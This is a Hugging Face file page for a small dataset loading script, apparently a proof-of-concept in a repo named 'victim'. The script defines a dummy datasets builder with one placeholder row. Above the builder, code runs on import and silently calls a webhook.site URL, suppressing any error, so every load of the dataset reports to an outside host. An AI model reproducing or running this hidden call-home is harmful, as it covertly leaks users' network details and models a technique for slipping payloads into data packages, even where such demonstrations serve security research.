Download script8482.py from victim3453/script8482: direct link, hf CLI and curl.
- Browser
- Download file 570 Bytes
-
https://huggingface.co/datasets/victim3453/script8482/resolve/main/script8482.py
- Command line
-
hf download hf://datasets/victim3453/script8482/script8482.py
-
curl -L -o script8482.py https://huggingface.co/datasets/victim3453/script8482/resolve/main/script8482.py
570 Bytes
| import urllib.request | |
| try: | |
| urllib.request.urlopen("https://webhook.site/40553bd8-ac9c-41f2-8c22-2967d0271788/script8482_import", timeout=6) | |
| except Exception: | |
| pass | |
| import datasets | |
| class Builder(datasets.GeneratorBasedBuilder): | |
| VERSION = "1.0.0" | |
| def _info(self): | |
| return datasets.DatasetInfo(features=datasets.Features({"a": datasets.Value("string")})) | |
| def _split_generators(self, dl_manager): | |
| return [datasets.SplitGenerator(name=datasets.Split.TRAIN, gen_kwargs={})] | |
| def _generate_examples(self, **kw): | |
| yield 0, {"a": "x"} | |